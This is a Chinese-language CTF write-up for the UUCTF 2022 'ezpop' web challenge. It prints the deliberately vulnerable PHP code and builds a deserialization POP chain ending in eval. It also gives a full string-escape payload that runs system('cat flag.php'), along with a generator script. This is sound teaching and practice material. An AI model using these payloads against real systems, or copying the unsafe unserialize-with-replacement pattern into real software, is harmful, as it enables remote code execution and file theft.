[UUCTF 2022 新生赛]ezpop - 反序列化(字符串逃逸)【***】

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一、解题过程

题目代码：

 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd;function rce(){eval($this->cmd);}
}
$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}
?>

1. 分析
   起点：UUCTF（__construct）
   终点：youwant（rce）
   链条：UUCTF（key='UUCTF';basedata=反序列化数据）-> nothing（a=&$n->b;t=$o）-> output（a=$y）-> youwant（cmd=命令）
   注意点：1、UUCTF的basedata用来存放反序列化数据
   　　　　2、参数是data，通过post传参
   　　　　3、post的参数，需要通过字符串逃逸

2. 针对此类题目，由于特点是把我们的序列化数据再次序列化，随便传个nb进去，看看到底经过二次序列化后的数据是什么样

   <?phpclass UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}}$pdata="nb";$data=serialize(new UUCTF($pdata));echo $data;$data_replace=str_replace("hacker","loveuu!",$data);//echo $data_replace;
   ?>
   

   得到：O:5:“UUCTF”:4:{s:4:“name”;s:2:" nb ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
   nb之前：O:5:'UUCTF':4:{s:4:'name';s:2:'
   nb之后：';s:3:'key';N;s:8:'basedata';N;s:2:'ob';N;}
   而nb就是我们可以操作的地方

3. 假设我们前面做的再好，比如构造好了包含basedata的序列化代码
   　　但是最后这段插入的位置是在nb那里，只会执行nb之后的 s:8:‘basedata’;N;
   　　所以我们需要把nb之后的所有给逃逸掉，重点在于把basedata重构

4. 根据分析，先把database的序列化代码写出来（特别注意，这里要base64_encode，而不是urlencode）

   <?phpclass output{public $a;}class nothing{public $a;public $b;public $t;}class youwant{public $cmd;}$o = new output();$n = new nothing();$y = new youwant();$n->a=&$n->b;$n->t=$o;$o->a=$y;$y->cmd="system('cat flag.php');";//echo serialize($n);echo base64_encode(serialize($n));
   ?>
   

   得到：
   Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

5. 再构造完整的语句，也就是第二步得到的nb后，将key设为UUCTF、basedata设为第四步得到的base64编码
   ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
   变成
   ";s:3:"key”;s:5:"UUCTF";s:8:“basedata”;s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:“ob”;N;}

6. 要使这些语句能够正确反序列化，需要进行逃逸，共236个字符
   hacker = 6字符　->　loveuu! = 7字符　　——　　经过变化后可以逃逸一个字符
   使用工具：在线文本重复工具 得到236个hacker拼接在前

   payload=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}
   

   

二、其他WP

2022 UUCTF Web
直接利用脚本生成payload，更快，但是我估计我想不到

<?php
//flag in flag.php
error_reporting(0);
class output{public $a;
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd="system('cat flag.php');";
}
$A = new nothing();
$A->a = &$A->b;
$A->t = new output();
$A->t->a = new youwant();
$basedata = base64_encode(serialize($A));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($data);$i++)$hacker .= 'hacker';
echo $hacker.$data;
?>

三、总结反思

这道题目来来回回应该是做了3次。第一次自己做，在字符串逃逸的时候思路错了。第二次看答案做，跟着步骤来，也理解了，但是不确定有没有掌握。第三次做了非常久，换了几种思路做，终于做出来了！
本人水平有限，做出这道题花了不少时间，目的就是为了掌握这种反序列化+逃逸题目的解题思维，总之还是收获不少。

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